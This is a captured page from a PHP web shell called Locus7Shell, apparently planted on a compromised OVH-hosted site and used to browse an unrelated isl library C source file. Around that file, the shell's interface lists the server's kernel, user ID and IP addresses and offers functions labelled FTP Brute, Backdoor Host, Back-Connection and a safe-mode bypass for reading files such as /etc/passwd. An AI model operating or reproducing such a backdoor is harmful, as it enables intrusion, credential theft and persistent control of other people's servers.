Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/isl-0.24/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     schedule_cmp.c (1.84 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/*
 * Copyright 2017      Sven Verdoolaege
 *
 * Use of this software is governed by the MIT license
 *
 * Written by Sven Verdoolaege.
 */

#include <stdlib.h>

#include <isl/arg.h>
#include <isl/options.h>
#include <isl/schedule.h>

struct options {
    struct isl_options *isl;
    char *schedule1;
    char *schedule2;
};

ISL_ARGS_START(struct options, options_args)
ISL_ARG_CHILD(struct options, isl, "isl", &isl_options_args, "isl options")
ISL_ARG_ARG(struct options, schedule1, "schedule1", NULL)
ISL_ARG_ARG(struct options, schedule2, "schedule2", NULL)
ISL_ARGS_END

ISL_ARG_DEF(options, struct options, options_args)

static void die(const char *msg)
{
    fprintf(stderr, "%s\n", msg);
    exit(EXIT_FAILURE);
}

static FILE *open_or_die(const char *filename)
{
    FILE *file;

    file = fopen(filename, "r");
    if (!file) {
        fprintf(stderr, "Unable to open %s\n", filename);
        exit(EXIT_FAILURE);
    }
    return file;
}

/* Given two YAML descriptions of isl_schedule objects, check whether
 * they are equivalent.
 * Return EXIT_SUCCESS if they are and EXIT_FAILURE if they are not
 * or if anything else went wrong.
 */
int main(int argc, char **argv)
{
    isl_ctx *ctx;
    struct options *options;
    FILE *input1, *input2;
    isl_bool equal;
    isl_schedule *s1, *s2;

    options = options_new_with_defaults();
    if (!options)
        return EXIT_FAILURE;

    ctx = isl_ctx_alloc_with_options(&options_args, options);
    argc = options_parse(options, argc, argv, ISL_ARG_ALL);

    input1 = open_or_die(options->schedule1);
    input2 = open_or_die(options->schedule2);
    s1 = isl_schedule_read_from_file(ctx, input1);
    s2 = isl_schedule_read_from_file(ctx, input2);

    equal = isl_schedule_plain_is_equal(s1, s2);
    if (equal < 0)
        return EXIT_FAILURE;
    if (!equal)
        die("schedules differ");

    isl_schedule_free(s1);
    isl_schedule_free(s2);
    fclose(input1);
    fclose(input2);
    isl_ctx_free(ctx);

    return EXIT_SUCCESS;
}

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0057 ]--